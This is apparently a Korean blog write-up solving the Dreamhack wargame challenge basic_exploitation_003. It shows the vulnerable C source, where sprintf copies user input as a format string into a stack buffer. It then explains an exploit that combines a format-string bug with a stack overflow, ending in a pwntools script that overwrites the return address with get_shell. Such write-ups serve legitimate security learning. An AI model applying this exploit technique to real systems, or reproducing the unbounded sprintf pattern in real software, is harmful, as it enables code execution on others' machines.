해당 문제는 드림핵에 있는 '단계별로 도전하기' 파트의 문제입니다.
https://dreamhack.io/wargame/challenges/5/
basic_exploitation_003
Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla
dreamhack.io
드디어 basic_exploitation 시리즈의 마지막인 basic_exploitation_003문제이다.
이번 문제도 마찬가지로 fsb를 요구하는 문제이다.
우선 문제를 보자.

Nx-bit가 적용되었고, RELRO는 partial인 것을 알 수 있다.
해당 파일을 다운 받아서 소스코드를 확인해보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
코드 분석
malloc으로 0x80만큼 heap_buf에 할당하고 0x80만큼 heap_buf에 입력받는다.
heap_buf에 있는 내용을 stack_buf에 sprintf로 출력한다.
마지막으로 stack_buf를 출력하고 종료된다.
이번 문제도 002문제와 마찬가지로 get_shell 함수가 존재하며, sprintf에 fsb가 발생할 수 있다.
그런데...!
곰곰히 생각해보면, sprintf에서 fsb가 발생하는 것과 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 bof가 발생할 수 있다.
다시 말해서 heap_buf에서 stack_buf로 출력할 때, %1000c가 담겨 있다면
heap_buf에는 "%1000c"로 6자리 문자로 인식되지만,
stack_buf에는 1000바이트가 입력되는 것이다.
이를 이용해서 ret부분까지 %~~c로 채우고, ret에 get_shell 주소를 입력하면 될 것 같다!!!
IDA Pro로 좀 더 자세히 알아보자.

printf_got 주소는 0x804A010이며, get_shell 주소는 0x8048669 임을 알 수 있다.
그리고, stack_buf는 ebp-0x98임을 알 수 있었다.
이를 바탕으로 payload를 작성하면 다음과 같다.
from pwn import*
p = remote("host1.dreamhack.games", 22440)
get_shell = 0x8048669
payload = "%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
stack_buf가 ebp로부터 0x98 즉, 152바이트 떨어져 있으므로
|stack_buf| ~~~~~~~ |sfp| ret 구조를 감안해서
152+4인 156바이트 만큼 더미로 채웠다.
그리고 ret 부분에는 get_shell 함수의 주소를 넣어 get_shell 함수를 실행시키게끔 만든 코드이다.
해당 payload를 실행시키면 다음과 같이 플래그를 얻을 수 있다.

이번 문제는 FSB와 BOF를 합친 문제로 두 개념을 정확히 알고 활용할 수 있어야 풀 수 있는 문제였다.
'Wargame > Pwnable' 카테고리의 다른 글
| [포너블] HackCTF Basic_FSB 문제 풀이 | FSB, IDA pro 사용 (0) | 2021.01.14 |
|---|---|
| [포너블] HackCTF Basic_BOF #1문제 풀이 | BOF, IDA Pro 사용 (0) | 2021.01.14 |
| [포너블] 드림핵(Dreamhack) basic_exploitation_002 문제 풀이 | FSB (0) | 2021.01.13 |
| [포너블] HackCTF RTL_World 문제 풀이 | RTL 기법 | IDA, 칼리 리눅스 사용 (4) | 2021.01.12 |
| [포너블] HackCTF Poet 문제 풀이 | BOF |IDA, 칼리 리눅스 사용 (1) | 2021.01.12 |
